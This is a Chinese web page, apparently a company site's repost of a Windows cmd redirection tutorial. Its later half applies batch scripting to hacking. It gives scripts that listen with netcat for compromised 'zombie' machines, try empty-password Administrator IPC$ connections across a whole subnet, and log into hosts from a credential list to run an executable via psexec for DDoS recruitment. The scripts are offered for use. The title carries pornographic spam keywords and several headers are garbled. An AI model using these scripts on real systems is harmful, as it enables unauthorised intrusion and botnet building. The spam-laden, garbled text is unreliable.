色16p_色综合色狠狠天天久久婷婷基地_国产成人精品视频2021_98精品国产高清在线看入口 - 亚洲精品国产字幕久久不卡

 

服務器系統集成及數據服務中心

 

一級欄目
一級欄目
一級欄目
一級欄目
一級欄目
一級欄目
一級欄目
一級欄目
甯傚牬(ch菐ng)鍕?d貌ng)鎱?t脿i)…………………………………………………………………………………………>>>

DOS技術匯編1-重定向

一、Windows cmd命令行輸入輸出重定向問題

 廢話不多說了,在Unix下重定向用著感覺很high,現在想把win下的nslookup的錯誤提示“*** Can''''t find server name for address 10.3.9.5: Non-existent domain”一同導出到txt文件,windows抄襲unix,stdio(0),stdout(1),stderr(2)都跟unix是一樣的
 
重定向符號主要有:>,>>,<,>&,<&和|,以下只有前五個的介紹,最后一個是管道,與Unix亦完全一致。
 
▲1、
 
首先從一個經典問題開始,“1>nul 2>nul”的意思是既屏蔽正常的輸出又屏蔽錯誤的輸出,那么我們馬上就知道了這里的1表示正常輸出(即所謂的“標準輸出”stdout),2表示錯誤輸出(即所謂的“標準錯誤輸出”stderr)。
 
1和2其實是句柄stdout和stderr的數字代號,至于什么是句柄,我認為可以理解為某種事物的一種標識,或者說這個句柄指向某個事物。舉個例子來說,“標準輸出”以句柄stdout為標識,或者說句柄stdout指向“標準輸出”。
 還有一個句柄stdin,它是所謂“標準輸入”的標識,數字代號是0。除此之外還有3~9可用,只是它們沒有定義。
 
“標準輸出”和“標準錯誤輸出”默認是要輸出到控制臺con(即cmd窗口)的,而“標準輸入”默認是由控制臺con(即鍵盤)輸入的,因此重定向的目的就是將輸入輸出流從默認位置重定向到新的位置。符號“>”和“>>”的默認句柄代號是1,而“<”的默認句柄代號是0。
 
“echo hhhhhh”類似于這樣的語句可以說是我們再熟悉不過的了,但這只是種默認的狀態,其實里面還有一些內容。這一句完整的應該是這樣的:“echo hhhhhh 1>con 2>con”,意思是將echo命令的結果中的標準輸出和標準錯誤輸出輸出到控制臺con中,只不過此時標準錯誤輸出是空的。
 
再看一個例子,如果給dir一個錯誤的參數,例如“dir /mm”,那么寫全了就是“dir /mm 1>con 2>con”,只不過此時的標準輸出是空的。如果你這樣寫的話“dir /mm 1>hero.txt”,那么屏幕上會照常顯示錯誤信息但hero.txt中不會有內容。
 
再來一個標準輸入的例子,“set /p var= ”其實應該是這樣的“set /p var= 0<con”,只是因為0<con是默認值可以省略。我們當然可以從文件中讀取輸入,如“set /p var= 0<file.txt”,0是默認值可以省略。
 
nul代表的是“空設備”,是一個不存在的設備,將輸出流重定向到空設備就相當于屏蔽掉了一樣。而如果從空設備中讀取輸入,自然是讀不到東西的,但的確是輸入了,這也就是“set /p var=<nul”中“<nul”相當于回車但不換行的原因。
 
▲2、
 
下面要講的是句柄代碼之間的“重定向”。 之前不是提到過還有3~9這7個句柄數字代號嗎,這些究竟有什么用?說實話,基本沒什么用,因此建議你如果不是迫切想知道這部分內容的話就不要往下看了。
 
“echo hero 1>hero.txt”這一句是將標準輸出重定向到文件hero.txt,相當于將句柄代號1的指向由con變為hero.txt。“echo hero 3>hero.txt 1<&3”,這句的結果是生成了文件hero.txt,其內容為hero,過程是這樣的:“3>hero.txt”是將句柄數字代號 3的指向由“空”變為hero.txt;“1<&3”是將句柄數字代號3的指向復制給1的指向,此時1的指向就為hero.txt了,因此標準輸出就被重定向到hero.txt中了。
 
“i<&j”和“i>&j”的效果都是把j的指向復制給i。“echo hero >hero.txt 2>&1”這句的意思是,無論是標準輸出還是標準錯誤輸出都會被重定向到hero.txt中,具體過程:1的指向由con轉為 hero.txt,“2>&1”是把1的指向復制給2,此時2的指向也變為了hero.txt,因此1和2都會被重定向到hero.txt 中。注意:1是符號“>”的默認句柄數字代號。
 
再看“echo hero 3>hero.txt”,這個為什么就不能將結果重定向到文件中呢?記住,我們要重定向的只有標準輸入、標準輸出和標準錯誤輸出,因此真正“干活” 的就只有0、1和2,因為它們分別指代了前面的三者,而3沒有指代任何句柄只能作為間接量使用。
 
“more 3<hero.txt 0>&3”這句是顯示文件hero.txt,具體過程:“3<hero.txt”把3的指向變為 hero.txt,“0>&3”把3的指向復制給0,即0指向了hero.txt(只不過這次是從hero.txt中讀取數據)。強調一下,真正能讀取數據的是0而不是3,3只是作為中間量而已。剛才這句我們當然可以這么寫:“more 0<hero.txt”或直接“more <hero.txt”。
 
再來一個例子“echo hero 5>hero.txt 4>&5 3<&4 1<&3”,結果輸出到了hero.txt中。具體過程:5的指向變成hero.txt,“4>&5”把5的指向復制給 4,“3>&4”把4的指向復制給3,“1>&3”把3的指向復制給1,最終1的指向就是hero.txt,則1所指代的標準輸出就被重定向到了hero.txt。
 
▲3、
 
注意:這一節的內容都是圍繞著下面這個例子進行敘述的。
 
代碼:
 
@echo off
echo 英雄是好男人!!!
echo 1>nul 3>nul
echo 英雄是
echo 英雄是
echo 這是怎么回事,難道就不能 1>con 4>con
pause
這究竟是怎么回事?為什么結果會如此出乎意料?
 這里涉及到一個所謂“備份”的問題,就是在修改某個句柄代號的指向之前,系統會把該句柄代號原來的指向備份到截止到目前第一個指向為空的句柄代號中。目的是當這一行的程序結束之后,系統可以通過備份找回原來的指向。
 
( 在繼續閱讀之前建議你準備好紙筆,以便能記錄下各個代號指向的變化,這樣不至于混亂)
我們現在把焦點集中到這句“echo. 1>nul 3>nul”上來。這句究竟是如何工作的呢?
 
第一步:在運行“1>nul”之前,1的指向是默認值con,此時代號3~9的指向都是空(初始值),因此系統會把1的指向備份到3(因為3是第一個為空的代號),3就指向了con。就是說系統把1原來的指向復制給了3,目的是語句結束后能找回原來的指向,這就相當于備份。
 
第二步:現在3的指向是con。然而由于要運行“3>nul”,因此還要備份3的指向。此時4是空的,系統就把3的指向con復制給了4,即4現在指向con。就是說3以4為備份。
 
第三步:由于“3>nul”使得3指向了nul。
 
第四步:這行語句結束時,1要找回原來的指向,從以上敘述我們知道,3是1的備份,因此1要通過3來恢復“原來”的指向,但此時3的指向已經變為了nul,故1就指向nul。
 
第五步:而3要恢復原來的指向就要找4,4指向con,故3恢復為con;4原始指向是空的,其備份在5中,故4的指向恢復到空。
 
至此我們理順一下,現在1指向nul,2指向默認值con,3指向con,4之后都是空指向。那么在運行后兩句echo語句時由于1指向nul,即標準輸出被重定向到空設備,故顯示被屏蔽。
 
再來看看這句 “echo 這是怎么回事,難道就不能 1>con 4>con” 這句是怎么工作的呢?
 
第一步:1當前指向是nul,由于要運行“1>con”,因此要進行備份。但此時3指向的是con非空,故系統將1的指向備份到4,即4指向nul。
 
第二步:又由于要運行“4>con”,故4現在的指向nul就又被備份到5中,5以后的事姑且省略。
 第三步:運行完“4>con”之后4就指向con。
 第四步:該行程序結束后,1要通過4來恢復指向。4指向con,故1指向con從而恢復了默認狀態。而4找5,5指向nul,故4指向nul。
 我們再數一數現在的情況,0指向con,1指向con,2指向con,3沒動還是指向con,4指向nul,5以后都為空指向。
 會不會有點亂?那就再好好的看幾遍吧,或者是看看這篇,講的更基礎一些:
 
▲4
 我們已經知道“echo hero”相當于“echo hero 1>con 2>con”,con表示控制臺,可以把con看做是特殊的文件,這就是我們無法建立名為con文件的原因。
 
再對“>”和“>>”的重定向機制做個分析。當要重定向到的文件有隱藏或系統屬性時,“>>”可以正常運行,而 “>”就無法操作了。據此我推測,對于“>”的重定向輸出,如果文件不存在當然是建立文件,而如果文件存在就先將文件刪除,然后再新建文件,也就是說并非是覆蓋文件的內容而是先刪除文件再建立新文件。
 
通過第三節的講解你應該明白為什么類似這樣的語句“echo hero >nul >con >hero.txt >con”會以最后一個為準了吧。
 
最后需要注意一點的是重定向輸出無法輸出到只讀文件。
 
完。
 WIN下的大部分重定向與Unix還是一致的,嗯
 
下面是補充

Command 功能
command > filename 把標準輸出重定向到一個文件中
command >> filename 把標準輸出重定向到一個文件中(追加)
command 1 > fielname 把標準輸出重定向到一個文件中
command > filename 2>&1 把標準輸出和標準錯誤一起重定向到一個文件
command 2 > filename 把標準錯誤重定向到一個文件中
command 2 >> filename 把標準錯誤重定向到一個文件中(追加)
command >> filename 2>&1 把標準輸出和標準錯誤一起重定向到一個文件中(追加)
command < filename1 > filename2 command命令以filename1文件作為標準輸入,以filename2文件作為標準輸出
command < filename command命令以filename文件作為標準輸入
command << delimiter 從標準輸入中讀入,直至遇到delimiter分界符
command < &m 將文件描述符m作為標準輸入
command > &m 將標準輸出重定向到文件描述符m中
command < &- 關閉標準輸入

5、

dos重定向符 > 和 >>, 利用重定向獲取需要信息

  在cmd窗口中查詢某條命令的幫助時,幫助信息是顯示在命令行窗口中的,若下次還想看,可以再查;也可以復制保存后查看,也可以使用重定向命令保存,
 
  稍微繁瑣一點的辦法就是復制命令行窗口中的信息,然后粘貼到文本中保存起來。這個操作比較繁瑣的:在命令行窗口點擊右鍵,然后選擇“標記”,用鼠標拉出復制范圍,然后敲回車,最后,粘貼到文本中去。
  高效的辦法就是:使用重定向符號,把原本輸出到cmd窗口中的信息重定向到文本文件中去。
 
  重定向符號有兩個:>和>>。它們的作用都是改變各種提示信息的輸出方向,把提示信息輸出到指定的地方去——各種提示信息默認是輸出到屏幕上去的。例如:tree /?>help.txt,這條命令語句就把 tree 命令的幫助信息重定向到了help.txt文件中,help>nul 就把 help 命令的提示信息重定向到了空設備中去(nul表示空設備)。
 
  想看看cmd中都有哪些基本命令嗎?在cmd窗口中輸入 help 就可以看到了;如果想把這些基本命令信息保存下來,請使用 help>d:\list.txt,然后,到D盤根目錄下找到list.txt文件打開即可。
 
>和>>雖然都起到重定向提示信息的作用,但是,它們的作用稍有差別。
 
單個的>表示以覆蓋方式重定向提示信息,也就是如果目的地原來有內容,將把原來的內容清除掉,用新內容填充;
 
>>表示以追加的方式重定向提示信息,也就是說,如果目的地原來有內容,原有的內容將保持不變,在原有內容之后追加新內容。
 
例如:假設d:\test.txt中的內容是:I Love batch。那么,在cmd窗口中,分別使用如下兩條語句:echo me,too>d:\test.txt和echo me,too>>d:\test.txt,將會發現,使用第一條語句之后,test.txt中只有一行內容:me,too,而使用第二條語句之后,test.txt中將有兩條內容,分別是I Love batch和me,too。
 


二、DOS的重定向命令使用方法及其在安全方面的應用

  DOS下有一個特殊的命令——重定向命令,非常有用,巧妙靈活運用可以給我們帶來很大的方便——無論是入侵還是防守,抑或是系統應用,都可以巧妙利用,下面是幾個重定向命令在安全方面的應用實例

▲1、命令格式
 
  DOS的標準輸入輸出通常是在標準設備鍵盤和顯示器上進行的,利用重定向,可以方便地將輸入輸出改向磁盤文件或其它設備。其中:
 
(1)、大于號“>”將命令發送到文件或設備,例如打印機>prn。使用大于號“>”時,有些命令輸出(例如錯誤消息)不能重定向。
 
(2)、雙大于號“>>”將命令輸出添加到文件結尾而不刪除文件中已有的信息。
 
(3)、小于號“<”從文件而不是鍵盤上獲取命令所需的輸入。
 
(4)、>&符號將輸出從一個默認I/O流(stdout,stdin,stderr)重新定向到另一個默認I/O流。
 
例如,command >output_file 2>&1將處理command過程中的所有錯誤信息從屏幕重定向到標準文件輸出中。標準輸出的數值如下所示:
 
標準輸出 等價的數值
 
Stdin 0
Stdout 1
Stderr 2
 
其中,(1)和(2)都創建一個文件用于存放數據(4)可能不能夠在DOS下使用。
 
▲2、重定向命令的輸出
 
幾乎所有的命令均將輸出發送到屏幕。即使是將輸出發送到驅動器或打印機的命令,也會在屏幕上顯示消息和提示。要將輸出從屏幕重定向到文件或打印機,請使 用大于號(>)。大多數命令中均可以使用大于號。例如,在以下命令中,dir命令生成的目錄列表重定向到Dirlist.txt文件: dir>dirlist.txt,如果Dirlist.txt文件不存在,系統將創建該文件。如果Dirlist.txt存在,系統將使用dir命 令的輸出替換文件中的信息。
 
要將命令輸出添加到文件結尾而不丟失文件中的任何信息,請使用雙大于號(>>)。例如, 在以下命令中,dir命令生成的目錄列表附加到Dirlist.txt文件中:dir>dirlist.txt,將輸入重定向到一個命令,就象可以 將命令輸出發送到文件或打印機而不是屏幕一樣,您可以從文件而不是從鍵盤獲取命令的輸入。要從文件獲取輸入,請使用小于號(<)。例如,以下命令將 從List.txt文件中獲取sort命令的輸入:sort
 
▲3、應用舉例
 
①給注冊表加鎖/解鎖
 
大家知道,注冊表HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\ Policies\System分支下的DWORD值“Disableregistrytools”的鍵值如為“1”,則可以給注冊表加鎖,這樣別人就無 法使用注冊表編輯器。利用重定向命令在DOS下就可以給注冊表加鎖/解鎖,非常方便。
 
打開記事本程序,新建一個文本文件,輸入如下內容:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存為以.bat為擴展名的批處理文件,點擊這個文件注冊表就會被鎖定!
 
在上面的命令中,echo是DOS下的回顯命令,在它的前面加上“@”前綴字符,表示執行時本行在命令行或DOS里面不顯示,如果想看到程序執行過程, 請將“@”去掉。大家在編寫上述代碼時要注意的是,第一行中的“REGEDIT4”一定要用大寫字母,在第二行中“echo”和“.”之間沒有空格。 “>>”產生的內容將追加到它后面的文件中。在文件的最后一行加上deltree /y 123.reg,就可以無需確認就刪除123.reg文件。
 
要想給注冊表解鎖,可以編輯這個批處理文件,只需將 "DisableRegistryTools"=dword:00000001改為"DisableRegistryTools"=dword: 00000000,其他內容不變,保存為.bat文件,點擊就可以給注冊表解鎖了。
 
②把登陸3389的機器IP記錄下來
 
把下面的內容保存為3389IP.bat: 

time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer

運行3389IP.bat,然后查看log.log文件即可看到登陸3389的機器IP,是不是很方便呢?
 
③恢復DOS實模式
 
大家知道,某些惡意網頁會修改瀏覽者的注冊表,在無所不用其極的各種手段中,修改注冊表使DOS實模式不可用是其中的招數之一。要想恢復DOS實模式方法有很多,用批處理和重定向命令結合使用,是比較特別的一招,在此與大家分享。
 
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg

另存為以.bat為擴展名的批處理文件,點擊這個文件就可以恢復DOS實模式,那些DOS應用程序又可以使用了。
 
④等待肉雞上門
 
每天費時費力的找肉雞是不是很辛苦,利用重定向命令和批處理文件就可以讓你簡單的找到肉雞!方法是用記事本新建一個文本文件,輸入如下內容:
 
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start

保存為.bat文件(事先得準備好一個nc.exe文件,它是網絡故障事件檢測軟件Netcat的主程序),然后運行此程序之后,你就等著肉雞上門主動來找你吧!運氣好的話,每天10個不成問題。
 
⑤快速進行空連接
 
空連接是在沒有信任的情況下與服務器建立的會話,換句話說,它是一個到服務器的匿名訪問。使用命令net use \\IP\ipc""/user:""就可以簡單地和目標建立一個空連接(需要目標開放IPC)。利用重定向命令和for命令就可以對一個C類網段進行快速的空連接,并把結果保存到一個文件 中供你分析。方法是用記事本編輯如下內容的文件:
 
@echo off
echo 格式:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%Gipc""/use:"Administrator"|find"命令完成">>test.txt
批處理文件保存為.bat,運行即可。這個批處理文件的功能是對你指定的一個C類網段中的254個ip依次試建立帳號為administrator口令為空的ipc連接,如果成功就把結果記錄在test.txt。這樣就實現了NT弱口令掃描功能!其中,for命令的功能是對一組文件中的每一個文件執行 某個特定命令,也就是可以用你指定的循環范圍生成一系列命令。For命令的格式為:FOR %variable IN (set) DO command [command-parameters],具體的含義:
 
%variable:指定一個單一字母可替換的參數。
 
(set):指定一個或一組文件。可以使用通配符。
 
command:指定對每個文件執行的命令。
 
command-parameters:為特定命令指定參數或命令行開關。
 
在批處理文件中使用FOR命令時,指定變量請使用%%variable而不要用%variable。變量名稱是區分大小寫的,所以%i不同%I。
 
⑥禁止空連接
 
空連接的存在對有一定的危險,所以我們還是禁止它為好!方法是輸入net share察看本地共享資源,接下來輸入如下命令刪除共享:
 

net share ipc/deletenetshareadmin /delete
 net share c/deletenetshared /delete(如果有e,f等盤符可以同法刪除)
 
然后用記事本新建一個文本文件,輸入如下內容即可:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

另存為以.bat為擴展名的批處理文件,點擊這個文件就可以禁止空連接。
 
⑦掃描所有和本機以TCP協議連接的計算機
 
掃描自己的計算機端口,發現有特殊端口打開,可以查木馬,不僅如此,利用下面這個批處理文件還可以把所有和本機以TCP協議連接的計算機IP地址都記錄下來。這個.bat文件內容如下:
 
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log

這樣不僅可以記錄下對方的IP,還有時間和日期,方便自己查看。
 
⑧自動獲取DDoS肉雞
 
DDoS是Distributed Denial of Service的縮寫,意即分布式拒絕服務攻擊。它是指借助于客戶/服務器技術,將多個計算機聯合起來作為攻擊平臺,對一個或多個目標發動DoS攻擊,從 而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊, 代理程序已經被安裝在Internet上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內激活成百上千次代理 程序的運行。
 
雖然不建議大家使用DDoS方式攻擊,但作為技術掌握還是很有必要的。可是,如何才能獲取進行DDoS攻擊的肉雞呢?把下面的內容保存為ok.bat文件就可以達到目的了:
 
@echo off
echo自動獲取DDoS肉雞
for /f "tokens=1,3*" %i in (host.txt) do net use \\%k\ipc/user:"\sysytem32
if errorelevel 0 goto success
psexec -d \\%i c:\winnt\system32\%1
net user \\%i\ipc$ /del
:success
echo >>success.txt
echo 肉雞:%i>>success.txt
echo 用戶名:%j>>success.txt
echo 密碼:%k>>success.txt
echo >>success.txt

使用方法是ok.bat *.exe host.txt,其中host.txt的格式為:ip administrator password。好了,快試試吧。但不要用來干破壞。
 
其實,本文所說的方法主要是利用了批處理和相關的命令,重定向命令在其中只是個紐帶,起連接作用,但也是不可忽視的,運用得好,能夠大大提高工作效率和方便性。

發布時間:2020/5/20 閱讀:5447次 來源:
 


 
甯傚牬(ch菐ng)鍕?d貌ng)鎱?t脿i)分類
   
  行業新聞
 
  公司動態
 
  技術資料
 
  電腦維修
 
  恢復案例
 
  SQL數據庫
 
  磁盤陣列
 
  服務器
 
  財務軟件
 
  網絡問題
 
  linux-XFS
 
  辦公文件
 
  操作系統
 
  日常生活(煙臺)
 
  網站相關
 
   
 
友情鏈接
 
 
 
 
 
   
公司地址:煙臺電腦市場A310
電話:15336380195 E-Mail:sd_lzc@sina.com
Copyright©2011-2012 煙臺知昭電子 All Rights Reserved.
魯ICP備11014811號-1
您是本站第 位訪問者